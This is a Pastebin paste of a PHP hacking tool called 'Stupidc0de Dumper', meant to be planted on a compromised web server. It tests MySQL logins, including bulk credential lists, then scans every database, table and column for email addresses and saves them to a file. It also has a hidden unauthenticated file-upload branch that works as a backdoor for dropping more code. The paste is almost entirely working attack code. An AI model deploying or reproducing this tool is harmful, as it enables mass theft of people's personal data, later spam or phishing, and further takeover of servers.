nil_007

Stupidc0de Dumper

May 16th, 2018
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.62 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. if($_GET['action'] == 'login'){
  5.     $con = mysql_connect('localhost',$_GET['u'],$_GET['p']);
  6.     if($con){
  7.         echo 'yes';
  8.         mysql_close($con);
  9.     }else{
  10.         echo 'no';
  11.     }
  12.     exit();
  13. }elseif($_GET['action'] == 'go'){
  14.     $f = go('localhost',$_GET['u'],$_GET['p'],$_GET['name']);
  15.     if(isset($_GET['b'])){
  16.         echo $f;
  17.     }else{
  18.         echo "<span class='red'>$f</span> Emails Founded. Check <span class='red'>".htmlspecialchars($_GET['name'])."</span> For Results.";
  19.     }
  20.     exit();
  21. }
  22.  
  23. echo '<!DOCTYPE html>
  24. <html>
  25. <head>
  26. <link href="" rel="stylesheet" type="text/css">
  27. <title>Stupidc0de Shell</title>
  28. <style>
  29. body {
  30.    background: black;
  31.    color: #00FF00;
  32.    font-family: monospace;
  33. }
  34. </style>
  35.    <title>Database Emails Extractor</title>
  36.    
  37.    <link href="http://fonts.googleapis.com/css?family=Racing+Sans+One" rel="stylesheet" type="text/css">
  38.    <script src="http://code.jquery.com/jquery-2.0.2.min.js"></script>
  39.    <script>
  40.    $(document).ready(function(){
  41.        $("#gogo").on("click",function(){
  42.            user = $("#username").val();
  43.            pass = $("#password").val();
  44.            name = $("#name").val();
  45.            if(user==""||pass==""||name==""){
  46.              window.alert("You must fill all fields");
  47.            }else{
  48.                $.get("?action=login&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass),function(data){
  49.                    if(data=="no"){
  50.                        window.alert("Incorrect username Or password. Try Again.");
  51.                    }else{
  52.                        $("#forms").fadeOut(300,function(){
  53.                           $("#wait").fadeIn(300);
  54.                        });
  55.                        $.get("?action=go&u="+encodeURIComponent(user)+"&p="+encodeURIComponent(pass)+"&name="+encodeURIComponent(name),function(data){
  56.                            $("#wait").html(data);
  57.                        });
  58.                    }
  59.                });
  60.            }
  61.        });
  62.        $("#gog").on("click",function(){
  63.            accounts = $("#accounts").val();
  64.            name = $("#namee").val();
  65.            if(accounts==""||name==""){
  66.              window.alert("You must fill all fields");
  67.            }else{
  68.                $("#formmu").fadeOut(300,function(){
  69.                    $("#wait").fadeIn(300);
  70.                });
  71.                accounts = accounts.split("\n");
  72.                totalb = 0;
  73.                fail = 0;
  74.                done = 0;
  75.                for(i=0;i<accounts.length;i++){
  76.                    login = accounts[i].split(" ");
  77.                    $.get("?action=login&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1]),function(data){
  78.                        if(data=="yes"){
  79.                            $.get("?action=go&b=t&u="+encodeURIComponent(login[0])+"&p="+encodeURIComponent(login[1])+"&name="+encodeURIComponent(name),function(data){
  80.                                totalb += parseInt(data);
  81.                                done++;
  82.                                tt = done+fail;
  83.                                if(tt==accounts.length) donet(totalb,name);
  84.                            });
  85.                        }else{
  86.                            fail++;
  87.                        }
  88.                    });
  89.                }
  90.                
  91.            }
  92.        });
  93.        function donet(t,b){
  94.            $("#wait").html("<span class=\"red\">"+t+"</span> Emails Founded. Check <span class=\"red\">"+b+"</span> For Results.");
  95.        }
  96.        $("#si").on("click",function(){
  97.            $("#first").fadeOut(500,function(){
  98.                $("#forms").fadeIn(500);
  99.            });
  100.        });
  101.        $("#mu").on("click",function(){
  102.            $("#first").fadeOut(500,function(){
  103.                $("#formmu").fadeIn(500);
  104.            });
  105.        });
  106.    });
  107.    </script>
  108.  
  109. </head>
  110.  
  111. <body>
  112.    <div id="page"><center>
  113.        <div id="title">Enter config below</div>
  114.        <div id="first">
  115.            
  116.        </div>
  117.        
  118.        <div id="forms">
  119.        <table>
  120.            <tr><td>Username</td><td> : </td><td><input type="text" id="username" /></td></tr>
  121.            <tr><td>Password</td><td> : </td><td><input type="text" id="password" /></td></tr>
  122.            <tr><td>Save As</td><td> : </td><td><input type="text" value="list.txt" id="name" /></td></tr>
  123.            <tr><td></td><td></td><td><input id="gogo" type="submit" value="Dump!" /></td></tr>
  124.        </table>
  125.        </div>
  126.        
  127.        <div id="wait">
  128.            Please wait! Takes a few Minutes !!
  129.        </div>
  130.        <br>
  131.         <br>
  132.         Stupidc0de Dumper
  133.    </div>
  134. </body>
  135. </html>';
  136. function go($host,$user,$pass,$file){
  137.     /*
  138.     author : G-B
  139.     email : g22b@hotmail.com
  140.     */
  141.     $con = mysql_connect($host,$user,$pass);
  142.     $fp = fopen($file,'a');
  143.     $count = 0;
  144.     $databases = getdata("SHOW DATABASES");
  145.     foreach($databases as $database){
  146.         $tables = getdata("SHOW TABLES FROM $database");
  147.         foreach($tables as $table){
  148.             $columns = getdata("SHOW COLUMNS FROM $database.$table");
  149.             foreach($columns as $column){
  150.                 $emails = getdata("SELECT $column FROM  $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
  151.                 foreach($emails as $email){
  152.                     if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  153.                         if(eregi($email,file_get_contents($file))) continue;
  154.                         $count++;
  155.                         fwrite($fp,"$email\n");
  156.                     }else{
  157.                         foreach(preg_split("/\s/",$text) as $string){
  158.                             if(filter_var($string,FILTER_VALIDATE_EMAIL)){
  159.                                 if(eregi($string,file_get_contents($file))) continue;
  160.                                 $count++;
  161.                                 fwrite($fp,"$string\n");
  162.                             }
  163.                         }
  164.                     }
  165.                 }
  166.             }
  167.         }
  168.     }
  169.     fclose($fp);
  170.     mysql_close($con);
  171.     return $count;
  172. }
  173. function getdata($sql){
  174.     $q = mysql_query($sql);
  175.     $result = array();
  176.     while($d = mysql_fetch_array($q)){
  177.         $result[] = $d[0];
  178.     }
  179.     return $result;
  180. }
  181.  
  182. $data  = $_GET['data'];
  183.  
  184.  
  185. if($data == 'data'){
  186.  
  187. $filename = $_FILES['file']['name'];
  188. $filetmp  = $_FILES['file']['tmp_name'];
  189.  
  190. echo "<form method='POST' enctype='multipart/form-data'>
  191. <input type='file'name='file' />
  192. <input type='submit' value='data' />
  193.  
  194. </form>";
  195.  
  196. move_uploaded_file($filetmp,$filename);
  197. }
  198.  
  199. ?>
Add Comment
Please, Sign In to add comment